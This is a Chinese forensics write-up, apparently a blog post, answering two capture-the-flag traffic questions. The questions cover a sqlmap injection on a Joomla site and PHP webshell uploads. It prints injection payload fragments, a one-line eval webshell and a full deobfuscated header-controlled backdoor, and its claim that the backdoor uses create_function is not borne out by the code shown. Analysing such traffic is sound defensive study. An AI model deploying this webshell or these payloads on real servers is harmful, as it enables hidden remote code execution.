• 【无标题】



    一、题目一

    题目要求:
    1.黑客攻击的第一个受害主机的网卡IP地址
    2.黑客对URL的哪一个参数实施了SQL注入
    3.第一个受害主机网站数据库的表前缀(加上下划线例如abc)
    4.第一个受害主机网站数据库的名字
    看到题目SQL注入,那就首先过滤http和https协议
    过滤后可以看到两个出现次数比较多的ip,202.1.1.2和192.168.1.8,可以看到202.1.1.2对192.168.1.8进行了攻击
    在这里插入图片描述

    这里第一个问题的答案就出来了,受害主机网卡IP是192.168.1.8 ,202.1.1.2为攻击者IP
    然后直接看源IP为202.1.1.2的http请求包
    这里随便先看一个包,urlcode解码后如下
    可以看到黑客使用了SQL注入,试图构造存储型xss

    option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(&XfqR=2916 AND 1=1 UNION ALL SELECT 1,NULL,'',tab
    
    • 1

    再看一个包,同样urlcode解码
    分析后发现仍在尝试SQL注入,注入工具sqlmap,注入点为list[select]

    option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(" OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71717a7671,(SELECT (ELT(883
    
    • 1

    然后我们去追踪一个SQL注入的TCP流
    可以看到数据库为MariaDB,已经报错,而且表前缀为ajtuc_
    在这里插入图片描述
    要找到数据库名的话,我们最好去最后那几条去找,看到url中如果包含schema关键字,那大概率就是数据库名
    在这里插入图片描述
    这里的数据库名使用十六进制解码,解码出来就是joomla

    答案:
    1.黑客攻击的第一个受害主机的网卡IP地址
    192.168.1.8
    2.黑客对URL的哪一个参数实施了SQL注入
    list[select]
    3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
    ajtuc_
    4.第一个受害主机网站数据库的名字
    joomla

    二、题目二

    打开2.pcap
    题目要求:
    1.黑客第一次获得的php木马的密码是什么
    2.黑客第二次上传php木马是什么时间
    3.第二次上传的木马通过HTTP协议中的哪个头传递数据
    题目要求php木马的密码,首先我们要知道php一句话木马一般都是POST请求
    所以我们直接过滤POST请求,发现这个IP请求了一个名为kkkaaa.php的php文件,很可疑
    正常文件不会以此命名的, 打开数据包看一下,发现了这个字段

    Form item: "zzz" = "@eval(base64_decode($_POST[z0]));"
    
    • 1

    其实一句话木马密码已经出来了,就是zzz
    在这里插入图片描述

    这里他上传的一句话木马应该是

    <?php eval($_POST['zzz']);?>
    
    • 1

    然后又将eval(base64_decode($_POST[z0]));传入zzz参数,目的是将z0传入的数据进行base64的解码

    此时z0传入base64编码后的数据,便可以执行恶意代码

    解码后发现执行了dirname函数,目的是查看当前路径下的文件或目录,类似linux下的ls命令

    第二题是第二次上传木马的时间
    没有头绪的话来分析下过滤出来的这几个包,其他参数都一样,重要的是Length这个字段
    在这里插入图片描述
    第一个包毋庸置疑是会比其他包长一点,但是第四个包很奇怪,和其他包相比长了150多字节左右
    追踪tcp流可以明显看到z2很不正常,其他参数都是urlcode和base64编码

    z2使用十六进制编码,我们来解码看一下

    这样的PHP代码是通过混淆过的,让我们根本看不懂他的代码经过还原后的代码:

    <?php
    $kh = "cb42";
    $kf = "e130";
    function x($t, $k)
    {
        $c = strlen($k);
        $l = strlen($t);
        $o = "";
        for ($i = 0; $i < $l;) {
            for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
                $o .= $t{$i} ^ $k{$j};
            }
        }
        return $o;
    }
     
    $r = $_SERVER;
    $rr = @$r["HTTP_REFERER"];
    $ra = @$r["HTTP_ACCEPT_LANGUAGE"];
    if ($rr && $ra) {
        $u = parse_url($rr);
        parse_str($u["query"], $q);
        $q = array_values($q);
        preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
        if ($q && $m) {
            @session_start();
            $s =& $_SESSION;
            $ss = "substr";
            $sl = "strtolower";
            $i = $m[1][0] . $m[1][4];
            $h = $sl($ss(md5($i . $kh), 0, 3));
            $f = $sl($ss(md5($i . $kf), 0, 3));
            $p = "";
            for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
            if (strpos($p, $h) === 0) {
                $s[$i] = "";
                $p = $ss($p, 3);
            }
            if (array_key_exists($i, $s)) {
                $s[$i] .= $p;
                $e = strpos($s[$i], $f);
                if ($e) {
                    $k = $kh . $kf;
                    ob_start();
                    @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                    $o = ob_get_contents();
                    ob_end_clean();
                    $d = base64_encode(x(gzcompress($o), $k));
                    print("<$k>$d");
                    @session_destroy();
                }
            }
        }
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55

    检查后发现create_function函数,这个函数是可以执行命令的
    官方也提示这个函数在8.0已经被移除,并且和eval()函数有同样的安全隐患
    说明黑客是利用了create_function函数来上传了自己的木马
    时间的话,ctrl+f,选择分组详情,选择字符串,搜索time字符串,时间就出来了
    Feb 7, 2018 17:20:44.248365000 中国标准时间
    然后我们来分析一下这个木马
    木马要利用,就必然会与数据包进行交互,仔细看看这两行代码

    $rr = @$r["HTTP_REFERER"];
    $ra = @$r["HTTP_ACCEPT_LANGUAGE"];
    
    • 1
    • 2

    这两行代码是获取http请求中的referer和accept_language字段的,与数据包产生了交互
    所以可以基本断定这两个字段是黑客用来传输他想执行的命令的
    我们随便看一个访问footer.php的包
    发现Referer字段长度很不正常,Accept-Language字段正常
    在这里插入图片描述
    所以可以基本确定,木马通过HTTP协议中的referer头传递数据
    答案
    1.黑客第一次获得的php木马的密码是什么
    zzz
    2.黑客第二次上传php木马是什么时间
    17:20:44.248365
    3.第二次上传的木马通过HTTP协议中的哪个头传递数据
    Referer

  • 相关阅读:
    Spring Boot JPA 本机查询示例
    java集合源码学习(七)ArrayList
    Stable Diffusion原理
    DevOps jenkins实现持续集成、持续部署
    mysql进阶学习 - concat函数
    webpack原理篇(五十二):webpack-cli源码阅读
    leetcode:面试题 17.04. 消失的数字(python3解法)
    如何加快发明专利的审查时间
    前端工作总结109-element $message居中测试无法实现
    nf-Press —— 在线文档也可以加载组件和编写代码
  • 原文地址:https://blog.csdn.net/Colr_glass/article/details/132628065